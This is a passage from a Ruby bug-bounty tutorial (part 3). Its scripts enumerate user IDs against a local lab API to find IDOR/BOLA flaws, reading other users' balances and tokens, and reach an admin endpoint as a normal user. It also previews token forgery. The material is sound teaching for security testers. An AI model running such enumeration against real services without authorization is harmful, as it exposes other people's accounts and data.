// Bug Bounty Automation in Ruby · Part 3
Breaking object-level authorization
Our token is for a normal user — so what happens when we ask for someone else's record with it? We build a checker that walks user IDs and flags every one we can read but shouldn't, then find the same flaw at the endpoint level. Along the way: methods that return values, ranges, and collecting results.
Part 2’s map showed /api/users/{id} answering 401 with no token. A 401 means
authenticate and try again — so let’s authenticate. The interesting question
isn’t whether the endpoint checks that you’re logged in (it does). It’s
whether it checks that the record you’re asking for is yours (spoiler: it
doesn’t). That gap is broken object-level authorization — BOLA, or the
classic IDOR — and it’s the single most common serious API bug.
New file, bola.rb, with a login helper and an authenticated GET:
require 'net/http'
require 'json'
require 'uri'
BASE = 'http://127.0.0.1:4567'
def login(name)
res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
def get(path, token)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Get.new(uri)
req['Authorization'] = "Bearer #{token}"
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
login posts a name and returns the token from the response — a method’s
last expression is its return value, no return keyword needed. get attaches
that token as a Bearer header. Log in as alice and confirm who we are:
token = login('alice')
me = JSON.parse(get('/api/me', token).body)
puts "[*] logged in as #{me['name']} (id #{me['id']})"
Walking the IDs
We’re user 1. The endpoint takes an id, so the obvious question is: can we
read 2? 99? Rather than ask by hand, loop over a few IDs and let the code
flag anything that isn’t us:
[1, 2, 99].each do |id|
res = get("/api/users/#{id}", token)
next unless res.code.to_i == 200
user = JSON.parse(res.body)
flag = id == me['id'] ? 'you ' : 'LEAK'
puts " [#{flag}] users/#{id} -> #{user['name'].ljust(6)} balance #{user['balance']}"
end
[1, 2, 99].each walks the list. next unless ... == 200 skips anything that
didn’t come back readable. Then a ternary — condition ? a : b — labels the
row you when the ID is our own and LEAK otherwise. Run it against the lab:
$ ruby bola.rb
[*] logged in as alice (id 1)
[you ] users/1 -> alice balance 1000
[LEAK] users/2 -> bob balance 1500
[LEAK] users/99 -> admin balance 0
There it is. Our normal-user token read bob’s record and the admin’s record — names, balances, and (check the raw body) their tokens too. The server authenticated us and then never asked whether user 1 should see user 2. One integer away from every account on the platform.
The same flaw, one level up
BOLA is about objects — which records you can reach. Its sibling is broken
function-level authorization (BFLA): which endpoints you can reach.
Part 2 flagged /api/admin/stats as a 401 with no token. Try it with our
plain-user token:
stats = get('/api/admin/stats', token)
puts "[*] /api/admin/stats as a normal user -> HTTP #{stats.code}"
puts " #{stats.body}" if stats.code.to_i == 200
$ ruby bola.rb
...
[*] /api/admin/stats as a normal user -> HTTP 200
{"users":3,"orders":0,"balances":2500}
200, from a user who is not an admin. The endpoint checked that we were logged
in and stopped there — it never checked our role. Same root cause as the
IDOR, one layer up: authenticated was treated as authorized.
That distinction is the thing to carry out of this part. Logging a user in tells you who they are. It says nothing about what they’re allowed to touch — that’s a separate check the developer has to write for every object and every endpoint, and the one they forget is your finding.
Takeaways
- BOLA / IDOR: an endpoint checks that you’re authenticated but not that the
object is yours. Enumerate IDs with your own valid token; anything that isn’t
yours coming back
200is the bug. - BFLA: the same omission at the endpoint level — a privileged route with no
role check. A normal token reaching
/api/admin/*is the tell. - A method returns its last expression; a ternary
c ? a : bpicks one of two values inline. - The mental model: authenticated ≠ authorized. Every object and route needs its own permission check; hunt the ones that are missing.
Exercises
get('/api/users/999', token)— an ID that doesn’t exist. What status comes back, and how does that differ from an ID you’re forbidden from seeing? (This API leaks by returning200; a fixed one would return403or404.)- Turn the leak into data: collect every readable-but-not-yours user into an array of hashes, then print the total balance you were able to enumerate.
- Log in as
boband readalice’s record. Confirm the flaw is symmetric — it’s the endpoint that’s broken, not one account.
Next — Part 4: we stopped trusting the id; now we stop trusting the
token itself. We look at how the lab issues them, and forge one for a user we
never logged in as.